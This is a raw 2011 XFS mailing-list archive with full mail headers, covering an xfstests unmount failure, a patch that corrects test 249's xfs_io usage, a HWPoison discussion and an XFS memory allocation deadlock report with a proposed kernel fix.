h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=aam8ERlkyxKCgJdHRDt+bs8Es7vtrW0M4KCsTxFwGbc=; b=AMGF0enb8V/SK3rBYVtn3Y4fVbwACoECNS+Sq5i2cpqQthYkPNTwqzrBYrz85EhTqt Mt4bpoknU1imawpR7ouRdI+Cu6JAv8Zf7MJY1ONOix8fWCiX5CpBulI8TBe7g1NKJ9hS Ad+0kuOAR84DQ25GggnEMUme0i+B4MXLL+mCc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=fbUB+N+nPdJP+XPDpPmDAEvNgr/T7mU3MR9VYiWKandmnMV1TvF1bLIlCFI0a3nZCn WPTcnlhVxetSjnoeXhoQEHr/Y1lOdO1MjH+WfRlU9xMFhOQzxg/ka3NkmvbJmX6fjmEs VmQ6zq1I6hLphdUyNzlGBkDsZNaku2SiNmQno= MIME-Version: 1.0 Received: by 10.229.66.132 with SMTP id n4mr5853633qci.292.1300894399809; Wed, 23 Mar 2011 08:33:19 -0700 (PDT) Received: by 10.229.229.17 with HTTP; Wed, 23 Mar 2011 08:33:19 -0700 (PDT) In-Reply-To: <4D8A0A70.9030201@redhat.com> References: <4D8A0A70.9030201@redhat.com> Date: Wed, 23 Mar 2011 17:33:19 +0200 Message-ID: X-ASG-Orig-Subj: Re: xfstests: failure to umount ext4 Subject: Re: xfstests: failure to umount ext4 From: Amir Goldstein To: Eric Sandeen Cc: XFS , Ext4 Developers List Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-qy0-f181.google.com[209.85.216.181] X-Barracuda-Start-Time: 1300894401 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58744 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 4:57 PM, Eric Sandeen wrote: > On 3/23/11 9:36 AM, Amir Goldstein wrote: >> On Wed, Mar 23, 2011 at 4:03 PM, Amir Goldstein wro= te: >>> >>> I've been running xfstests on ext4 and I always get annoying failures t= o umount: >>> >>> 213 8s ... 31s >>> umount: /mnt/test/ext4: device is busy. >>> =A0 =A0 =A0 =A0(In some cases useful info about processes that use >>> =A0 =A0 =A0 =A0 the device is found by lsof(8) or fuser(1)) >>> >>> post 198 mostly fails to umount as well. >>> and post 124 always fails to umount. >>> >>> My server is Ubuntu 10.10, running kernel 2.6.38. >>> >>> Is there any known issue about this? because I could find it on google >>> or on the XFS list. >>> >> >> Hi All, >> >> Has anyone seen these failures when running xfstests on ext4? >> My test and scratch partitions are dedicated for xfstests. > > I've not seen it, can you investigate with lsof etc? OK. I have not given complete information. It does not fail indefinably. I can umount the fs immediately after the fai= lure. Only the test fails because fsck sees a mounted fs. There must be a bit of a delay in the umount that causes the problem. > > They both work for me on a quick test, anyway, on a .38 > kernel. Problem existed for me in .37 as well. I don't think it is kernel (or fs) related. I think it is a system problem, but I fall short of ideas how to fix it. > > What are you using for your partitions under test? > Currently, I have /dev/sda5,6,7,8. I used to work with LVM, but lstat64 didn't like the /dev/mapper links, so I switched to raw partitions. Although I was puzzled that xfstests could not work over LVM partitions It could when I changed lstat64 to stat64, but then I changed it back thinking it was causing my problems. > -Eric > >> Thanks, >> Amir. > > From sandeen@redhat.com Wed Mar 23 10:42:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NFgREP101833 for ; Wed, 23 Mar 2011 10:42:32 -0500 X-ASG-Debug-ID: 1300895127-1b6d02950000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 79DEB1400831 for ; Wed, 23 Mar 2011 08:45:27 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qj79vZR8R9GXFV0o for ; Wed, 23 Mar 2011 08:45:27 -0700 (PDT) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p2NFjQvg020663 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 23 Mar 2011 11:45:26 -0400 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p2NFjOHu021643 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 23 Mar 2011 11:45:26 -0400 Message-ID: <4D8A1594.5060505@redhat.com> Date: Wed, 23 Mar 2011 10:45:24 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: Amir Goldstein CC: XFS , Ext4 Developers List X-ASG-Orig-Subj: Re: xfstests: failure to umount ext4 Subject: Re: xfstests: failure to umount ext4 References: <4D8A0A70.9030201@redhat.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1300895128 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/23/11 10:33 AM, Amir Goldstein wrote: > On Wed, Mar 23, 2011 at 4:57 PM, Eric Sandeen wrote: >> On 3/23/11 9:36 AM, Amir Goldstein wrote: >>> On Wed, Mar 23, 2011 at 4:03 PM, Amir Goldstein wrote: >>>> >>>> I've been running xfstests on ext4 and I always get annoying failures to umount: >>>> >>>> 213 8s ... 31s >>>> umount: /mnt/test/ext4: device is busy. >>>> (In some cases useful info about processes that use >>>> the device is found by lsof(8) or fuser(1)) >>>> >>>> post 198 mostly fails to umount as well. >>>> and post 124 always fails to umount. >>>> >>>> My server is Ubuntu 10.10, running kernel 2.6.38. >>>> >>>> Is there any known issue about this? because I could find it on google >>>> or on the XFS list. >>>> >>> >>> Hi All, >>> >>> Has anyone seen these failures when running xfstests on ext4? >>> My test and scratch partitions are dedicated for xfstests. >> >> I've not seen it, can you investigate with lsof etc? > > OK. I have not given complete information. > It does not fail indefinably. I can umount the fs immediately after the failure. > Only the test fails because fsck sees a mounted fs. > There must be a bit of a delay in the umount that causes the problem. > >> >> They both work for me on a quick test, anyway, on a .38 >> kernel. > > Problem existed for me in .37 as well. I don't think it is kernel (or > fs) related. > I think it is a system problem, but I fall short of ideas how to fix it. > >> >> What are you using for your partitions under test? >> > > Currently, I have /dev/sda5,6,7,8. > I used to work with LVM, but lstat64 didn't like the /dev/mapper links, > so I switched to raw partitions. > Although I was puzzled that xfstests could not work over LVM partitions > It could when I changed lstat64 to stat64, but then I changed it back > thinking it was causing my problems. I tried to fix lvm, once, but all the dev symlinks vs. mtab vs. /proc/mounts was a rat's nest, and I gave up... :) -Eric >> -Eric >> >>> Thanks, >>> Amir. >> >> From sandeen@redhat.com Wed Mar 23 10:51:17 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NFpCtD102214 for ; Wed, 23 Mar 2011 10:51:17 -0500 X-ASG-Debug-ID: 1300895652-519800fa0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 404C61B5CB42 for ; Wed, 23 Mar 2011 08:54:12 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id jUCseEQVBXX2Sw9b for ; Wed, 23 Mar 2011 08:54:12 -0700 (PDT) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p2NFsCnK018611 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 23 Mar 2011 11:54:12 -0400 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p2NFrvvV024096 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 23 Mar 2011 11:54:05 -0400 Message-ID: <4D8A1795.3080401@redhat.com> Date: Wed, 23 Mar 2011 10:53:57 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: xfs-oss X-ASG-Orig-Subj: [PATCH] xfstests 249: use -F option for xfs_io Subject: [PATCH] xfstests 249: use -F option for xfs_io Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1300895653 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Test 249 was appearing to pass on ext4, but it wasn't really exercising the test due to lack of "-F" in the xfs_io arguments. Without -F the files were created (oddly enough); neither pwrite nor sendfile were executed, and the diff of the two (empty) files passed, resulting in a passed test without testing anything. So add the -F, capture the output, and test the result of each xfs_io invocation. Signed-off-by: Eric Sandeen --- diff --git a/249 b/249 index 6fc972e..3b3a64d --- a/249 +++ b/249 @@ -52,9 +52,12 @@ echo "Feel the serenity." SRC=$TEST_DIR/$seq.src DST=$TEST_DIR/$seq.dst +rm -f $seq.full -$XFS_IO_PROG -f -c "pwrite -S 0xa5a55a5a 0 32768k" -c fsync $SRC > /dev/null 2>&1 -$XFS_IO_PROG -f -c "sendfile -i $SRC 0 32768k" -c fsync $DST > /dev/null 2>&1 +$XFS_IO_PROG -F -f -c "pwrite -S 0xa5a55a5a 0 32768k" -c fsync $SRC >> $seq.full 2>&1 +[ $? -ne 0 ] && _fail "xfs_io pwrite failed" +$XFS_IO_PROG -F -f -c "sendfile -i $SRC 0 32768k" -c fsync $DST >> $seq.full 2>&1 +[ $? -ne 0 ] && _fail "xfs_io sendfile failed" diff $SRC $DST From sandeen@redhat.com Wed Mar 23 11:00:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NG0Z4H102795 for ; Wed, 23 Mar 2011 11:00:41 -0500 X-ASG-Debug-ID: 1300896214-30ec013f0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id AA09336C7D8 for ; Wed, 23 Mar 2011 09:03:35 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7KGkNdfMJp4hpVHx for ; Wed, 23 Mar 2011 09:03:35 -0700 (PDT) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p2NG3YL3026503 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 23 Mar 2011 12:03:34 -0400 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p2NG3W0F031759 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 23 Mar 2011 12:03:33 -0400 Message-ID: <4D8A19D4.3080807@redhat.com> Date: Wed, 23 Mar 2011 11:03:32 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: xfs-oss X-ASG-Orig-Subj: [PATCH V2] xfstests 249: use -F option for xfs_io Subject: [PATCH V2] xfstests 249: use -F option for xfs_io References: <4D8A1795.3080401@redhat.com> In-Reply-To: <4D8A1795.3080401@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1300896216 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Test 249 was appearing to pass on ext4, but it wasn't really exercising the test due to lack of "-F" in the xfs_io arguments. Without -F the files were created (oddly enough); neither pwrite nor sendfile were executed, and the diff of the two (empty) files passed, resulting in a passed test without testing anything. So add the -F, capture the output, and test the result of each xfs_io invocation. Also, when it fails, the diff output is huge. Make diff silent, but describe the diff failure and exit. Signed-off-by: Eric Sandeen --- V2: change diff to diff -q diff --git a/249 b/249 old mode 100644 new mode 100755 index 6fc972e..100cd4c --- a/249 +++ b/249 @@ -52,11 +52,15 @@ echo "Feel the serenity." SRC=$TEST_DIR/$seq.src DST=$TEST_DIR/$seq.dst +rm -f $seq.full -$XFS_IO_PROG -f -c "pwrite -S 0xa5a55a5a 0 32768k" -c fsync $SRC > /dev/null 2>&1 -$XFS_IO_PROG -f -c "sendfile -i $SRC 0 32768k" -c fsync $DST > /dev/null 2>&1 - -diff $SRC $DST +$XFS_IO_PROG -F -f -c "pwrite -S 0xa5a55a5a 0 32768k" -c fsync $SRC >> $seq.full 2>&1 +[ $? -ne 0 ] && _fail "xfs_io pwrite failed" +$XFS_IO_PROG -F -f -c "sendfile -i $SRC 0 32768k" -c fsync $DST >> $seq.full 2>&1 +[ $? -ne 0 ] && _fail "xfs_io sendfile failed" +diff -q $SRC $DST status=$? +[ $status -ne 0 ] && _fail "$SRC and $DST differ" + exit From andi@firstfloor.org Wed Mar 23 11:02:23 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NG2HWY102869 for ; Wed, 23 Mar 2011 11:02:23 -0500 X-ASG-Debug-ID: 1300896317-509703560000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from one.firstfloor.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 53FEF1313FA8 for ; Wed, 23 Mar 2011 09:05:17 -0700 (PDT) Received: from one.firstfloor.org (one.firstfloor.org [213.235.205.2]) by cuda.sgi.com with ESMTP id jZkk2xM422GCSUcX for ; Wed, 23 Mar 2011 09:05:17 -0700 (PDT) Received: by one.firstfloor.org (Postfix, from userid 503) id 6EEDA1ED80AE; Wed, 23 Mar 2011 17:05:15 +0100 (CET) Date: Wed, 23 Mar 2011 17:05:15 +0100 From: Andi Kleen To: Dave Chinner Cc: Andi Kleen , xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: Re: xfs: outstanding patches for 2.6.39 Subject: Re: xfs: outstanding patches for 2.6.39 Message-ID: <20110323160515.GF21838@one.firstfloor.org> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <20110323113803.GB26611@dastard> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110323113803.GB26611@dastard> User-Agent: Mutt/1.4.2.2i X-Barracuda-Connect: one.firstfloor.org[213.235.205.2] X-Barracuda-Start-Time: 1300896318 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0209 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58746 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > We can't do that right now, anyway. It seemed to work on XFS when we tested it. Undoutedly after your patch it won't work anymore. > If the page is not in use, we don't care about it after this patch > set is applied - the page is either active in a buffer or it has been > freed. If it is in use, then we'll shut the filesystem down if we > detect the memory corruption just like we currently do. Hence I > don't see any regression here. I think you're confusing the memory_failure() HWPoison path with some XFS internal checking. I don't think XFS has any HWPoison checking on its own. > As it is, there is no way for the filesytem to be notified about > such failures on active pages in buffers, so in reality we can't > reliably detect them so there is little point in trying to recover > from such errors. Well it works today if the page is in pagecache. memory-failure will just remove it transparently. In principle you can check for HWPoison manually yourself, but I'm not sure that is a good way to do it. -Andi -- ak@linux.intel.com -- Speaking for myself only. From Sean.Noonan@twosigma.com Wed Mar 23 14:36:24 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NJaJA0112391 for ; Wed, 23 Mar 2011 14:36:24 -0500 X-ASG-Debug-ID: 1300909149-72b802b90000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id B04D3370FE2 for ; Wed, 23 Mar 2011 12:39:09 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with SMTP id 2LqAa035k41aIXuM for ; Wed, 23 Mar 2011 12:39:09 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id 373553DDB0E; Wed, 23 Mar 2011 19:39:08 +0000 (UTC) Received: from msxaoa3.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id B2CFD3DDA37; Wed, 23 Mar 2011 19:39:06 +0000 (UTC) Received: from pfxnyc1.twosigma.com (192.168.30.150) by msxaoa3.twosigma.com (192.168.200.135) with Microsoft SMTP Server (TLS) id 8.1.340.0; Wed, 23 Mar 2011 15:39:06 -0400 Received: from msxaoa6.twosigma.com ([fe80:0000:0000:0000:5d02:8f37:242.212.227.132]) by pfxnyc1.twosigma.com ([192.168.30.150]) with mapi; Wed, 23 Mar 2011 15:39:06 -0400 From: Sean Noonan To: Sean Noonan , "'linux-kernel@vger.kernel.org'" CC: Trammell Hudson , Martin Bligh , Stephen Degler , Christos Zoulas , "'linux-xfs@oss.sgi.com'" Date: Wed, 23 Mar 2011 15:39:05 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: Acvn48onhwj/45wTTJCiJ9OQbQPjgABrWqTQ Message-ID: <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1300909159 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC0_SA550, BSF_SC0_SA_TO_FROM_ADDR_MATCH, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58761 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 2.50 BSF_SC0_SA550 Custom Rule SA550 X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I believe this patch fixes the behavior: diff --git a/mm/memory.c b/mm/memory.c index e48945a..740d5ab 100644 --- a/mm/memory.c +++ b/mm/memory.c @@ -3461,7 +3461,9 @@ int make_pages_present(unsigned long addr, unsigned l= ong end) * to break COW, except for shared mappings because these don't COW * and we would not want to dirty them for nothing. */ - write =3D (vma->vm_flags & (VM_WRITE | VM_SHARED)) =3D=3D VM_WRITE; + write =3D (vma->vm_flags & VM_WRITE) !=3D 0; + if (write && ((vma->vm_flags & VM_SHARED) !=3D0) && (vma->vm_file = =3D=3D NULL)) + write =3D 0; BUG_ON(addr >=3D end); BUG_ON(end > vma->vm_end); len =3D DIV_ROUND_UP(end, PAGE_SIZE) - addr/PAGE_SIZE; This was traced to the following commit: 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 is the first bad commit commit 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 Author: Michel Lespinasse Date: Thu Jan 13 15:46:09 2011 -0800 mlock: avoid dirtying pages and triggering writeback =20 When faulting in pages for mlock(), we want to break COW for anonymous = or file pages within VM_WRITABLE, non-VM_SHARED vmas. However, there is n= o need to write-fault into VM_SHARED vmas since shared file pages can be mlocked first and dirtied later, when/if they actually get written to. Skipping the write fault is desirable, as we don't want to unnecessaril= y cause these pages to be dirtied and queued for writeback. =20 Signed-off-by: Michel Lespinasse Cc: Hugh Dickins Cc: Rik van Riel Cc: Kosaki Motohiro Cc: Peter Zijlstra Cc: Nick Piggin Cc: Theodore Tso Cc: Michael Rubin Cc: Suleiman Souhlal Cc: Dave Chinner Cc: Christoph Hellwig Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds :040000 040000 604eede2f45b7e5276ce9725b715ed15a868861d 3c175eadf4cf33d4f78= d4d455c9a04f3df2c199e M mm -----Original Message----- From: Sean Noonan=20 Sent: Monday, March 21, 2011 12:20 To: 'linux-kernel@vger.kernel.org' Cc: Trammell Hudson; Martin Bligh; Stephen Degler; Christos Zoulas Subject: XFS memory allocation deadlock in 2.6.38 This message was originally posted to the XFS mailing list, but received no= responses. Thus, I am sending it to LKML on the advice of Martin. Using the attached program, we are able to reproduce this bug reliably. $ make vmtest $ ./vmtest /xfs/hugefile.dat $(( 16 * 1024 * 1024 * 1024 )) # vmtest /xfs/hugefile.dat: mapped 17179869184 bytes in 33822066943 ticks 749660: avg 13339 max 234667 ticks 371945: avg 26885 max 281616 ticks --- At this point, we see the following on the console: [593492.694806] XFS: possible memory allocation deadlock in kmem_alloc (mod= e:0x250) [593506.724367] XFS: possible memory allocation deadlock in kmem_alloc (mod= e:0x250) [593524.837717] XFS: possible memory allocation deadlock in kmem_alloc (mod= e:0x250) [593556.742386] XFS: possible memory allocation deadlock in kmem_alloc (mod= e:0x250) This is the same message presented in http://oss.sgi.com/bugzilla/show_bug.cgi?id=3D410 We started testing with 2.6.38-rc7 and have seen this bug through to the .0= release. This does not appear to be present in 2.6.33, but we have not do= ne testing in between. We have tested with ext4 and do not encounter this = bug. CONFIG_XFS_FS=3Dy CONFIG_XFS_QUOTA=3Dy CONFIG_XFS_POSIX_ACL=3Dy CONFIG_XFS_RT=3Dy # CONFIG_XFS_DEBUG is not set # CONFIG_VXFS_FS is not set Here is the stack from the process: [] call_rwsem_down_write_failed+0x13/0x20 [] xfs_ilock+0x7e/0x110 [] __xfs_get_blocks+0x8f/0x4e0 [] xfs_get_blocks+0x11/0x20 [] __block_write_begin+0x1ee/0x5b0 [] block_page_mkwrite+0x9d/0xf0 [] xfs_vm_page_mkwrite+0x15/0x20 [] do_wp_page+0x54b/0x820 [] handle_pte_fault+0x3cc/0x820 [] handle_mm_fault+0x175/0x2f0 [] do_page_fault+0x159/0x470 [] page_fault+0x1f/0x30 [] 0xffffffffffffffff # uname -a Linux testhost 2.6.38 #2 SMP PREEMPT Fri Mar 18 15:00:59 GMT 2011 x86_64 GN= U/Linux Please let me know if additional information is required. Thanks! Sean From ea18glos@siena.edu Wed Mar 23 15:19:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.8 required=5.0 tests=BAYES_50,MISSING_HEADERS autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NKJ3GT114330 for ; Wed, 23 Mar 2011 15:19:13 -0500 X-ASG-Debug-ID: 1300911722-23bd03bf0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from exprod8ob113.obsmtp.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 6680F140FE8D for ; Wed, 23 Mar 2011 13:22:02 -0700 (PDT) Received: from exprod8ob113.obsmtp.com (exprod8ob113.obsmtp.com [64.18.3.25]) by cuda.sgi.com with SMTP id lnxkKNbgHbXfrXDI for ; Wed, 23 Mar 2011 13:22:02 -0700 (PDT) Received: from source ([66.194.176.128]) by exprod8ob113.postini.com ([64.18.7.12]) with SMTP ID DSNKTYpWXzmPVbP6YuxhWllfvori/wRtMCi8@postini.com; Wed, 23 Mar 2011 13:22:02 PDT Received: from ex2k7fe.siena.edu ([10.0.4.159]) by claven3.siena.edu with Microsoft SMTPSVC(6.0.3790.3959); Wed, 23 Mar 2011 16:21:49 -0400 Received: from mb-1.siena.edu ([10.0.4.160]) by ex2k7fe.siena.edu ([10.0.4.159]) with mapi; Wed, 23 Mar 2011 16:21:50 -0400 From: "Gloster, Elizabeth" Date: Wed, 23 Mar 2011 16:21:49 -0400 X-ASG-Orig-Subj: Your mailbox has exceeded its limit Subject: Your mailbox has exceeded its limit Thread-Topic: Your mailbox has exceeded its limit Thread-Index: AQHL6ZfwMsO2APHlDk+RBFp25BkpGg== Message-ID: <3898DEB8D4D8E34EB622AC53CEFFA26801761834A1BD@mb-1.siena.edu> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Bcc: X-OriginalArrivalTime: 23 Mar 2011 20:21:50.0047 (UTC) FILETIME=[F0DBEEF0:01CBE997] X-Barracuda-Connect: exprod8ob113.obsmtp.com[64.18.3.25] X-Barracuda-Start-Time: 1300911723 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0108 1.0000 -1.9504 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com 